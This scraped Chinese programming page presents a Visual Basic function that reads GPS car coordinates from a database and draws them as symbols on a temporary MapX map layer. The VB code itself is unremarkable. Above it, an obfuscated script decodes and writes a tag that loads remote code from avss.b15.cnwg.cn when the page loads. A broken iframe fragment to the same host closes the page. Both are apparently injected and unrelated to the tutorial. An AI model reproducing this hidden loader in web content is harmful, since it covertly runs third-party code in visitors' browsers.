VB中利用MapX自动绘制图层

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

VB中利用MapX自动绘制图层

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


'-----------------------------------------------------------------------------------------------------
'
'             地图自动绘制处理过程
'
'             WYY     2006年4月
'
'-----------------------------------------------------------------------------------------------------
'参数说明:
'         strMapInfo --临时地图文件所在路径
'         isMap-------临时图层是否已经生成，True 生成、False 尚未生成
Public Function TransMapAuto(strMapInfo As String) As Boolean
    Dim rstemp             As New ADODB.Recordset
    Dim DBData             As DAO.database
    Dim rsMap              As DAO.Recordset
    Dim strsql             As String
    Dim iIndex             As Integer
    Dim Flds                As New MapXLib.Fields
    Dim lyrNew              As MapXLib.Layer
    Dim ptNew               As New MapXLib.Point
    Dim ftrNew              As MapXLib.Feature
    Dim ff                  As MapXLib.FeatureFactory
    Dim li                  As New MapXLib.LayerInfo
    Dim rvs                 As New MapXLib.RowValues
    Dim ds                  As MapXLib.Dataset
    Dim mStyle1             As New MapXLib.style                      '                        '
'    开始处理赋值 --失败标志
    TransMapAuto = False
    On Error GoTo ErrInfo
'    If 临时图层文件已经存在 Then 删除所有的临时图层文件信息 Else 执行以下语句
'    若是处理时出错则退出本过程 (因地图临时文件要生成后缀为Tab?ID?IND?Map?DAT)
    If tFileSpace(strMapInfo, "tempMap.dat") = False Then           '删除DAT文件
        TransMapAuto = False
        MsgBox "文件处理失败！", vbInformation, "提示："
    Exit Function
    End If
    If tFileSpace(strMapInfo, "tempMap.Tab") = False Then           '删除TAB文件
        TransMapAuto = False
        MsgBox "文件处理失败！", vbInformation, "提示："
        Exit Function
    End If
    If tFileSpace(strMapInfo, "tempMap.ID") = False Then            '删除ID文件
        TransMapAuto = False
        MsgBox "文件处理失败！", vbInformation, "提示："
        Exit Function
    End If
    If tFileSpace(strMapInfo, "tempMap.IND") = False Then           '删除IND文件
        TransMapAuto = False
        MsgBox "文件处理失败！", vbInformation, "提示："
        Exit Function
    End If
    If tFileSpace(strMapInfo, "tempMap.Map") = False Then           '删除Map文件
        TransMapAuto = False
        MsgBox "文件处理失败！", vbInformation, "提示："
        Exit Function
    End If
'    If 图层已经存在 Then 删除 Else 继续执行下面的语句
    If isMap = True Then
        If BiMap.mapMain.Layers("temp") <> "" Then
            BiMap.mapMain.Layers.Remove "temp"
        End If
    End If
   
    Set rstemp = P_Cnn.Execute("Select * from Tb_GPSList Order By Carid")
    Set ff = BiMap.mapMain.FeatureFactory
    Flds.AddStringField "CarInfo", 50
    Flds.AddNumericField "X", 12, 8
    Flds.AddNumericField "Y", 12, 8
    li.Type = miLayerInfoTypeNewTable
    li.AddParameter "FileSpec", App.path & "/lMap/TempMap.Tab"
    li.AddParameter "Name", "temp"
    li.AddParameter "Fields", Flds
    BiMap.mapMain.Layers.Add li, 1
    isMap = True
    Set lyrNew = BiMap.mapMain.Layers(1)
    Set ds = BiMap.mapMain.DataSets.Add(miDataSetLayer, lyrNew)
    Set rvs = ds.RowValues(0)
    With lyrNew
        .AutoLabel = True
    End With
    rstemp.MoveFirst
    iIndex = 1
    Do While Not rstemp.EOF
        rvs.Item("CarInfo").value = rstemp.Fields("CarID")
        rvs.Item("X").value = rstemp.Fields("CarX")
        rvs.Item("Y").value = rstemp.Fields("CarY")
        ptNew.Set rstemp.Fields("CarX"), rstemp.Fields("CarY")
        With mStyle1
            .SymbolType = miSymbolTypeBitmap
            .SymbolBitmapColor = CLng(vbRed * Rnd)
            .SymbolFont = 10
            .SymbolBitmapSize = 24
            .SymbolBitmapTransparent = False
            .SymbolBitmapName = App.path & "/mapPic/car" & iIndex / iIndex & ".BMP"
        End With
        Set ftrNew = ff.CreateSymbol(ptNew, mStyle1)
        Set ftrNew = lyrNew.AddFeature(ftrNew, rvs)
        rstemp.MoveNext
        iIndex = iIndex + 1
    Loop
    isMap = True
    With lyrNew
        .AutoLabel = True
    End With
    Set rstemp = Nothing
'    处理成功赋值 --成功标志
    TransMapAuto = True
    Exit Function
ErrInfo:
'    处理失败赋值 --失败标志
    TransMapAuto = False
    MsgBox err.Description, vbInformation, "提示："
End Function
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">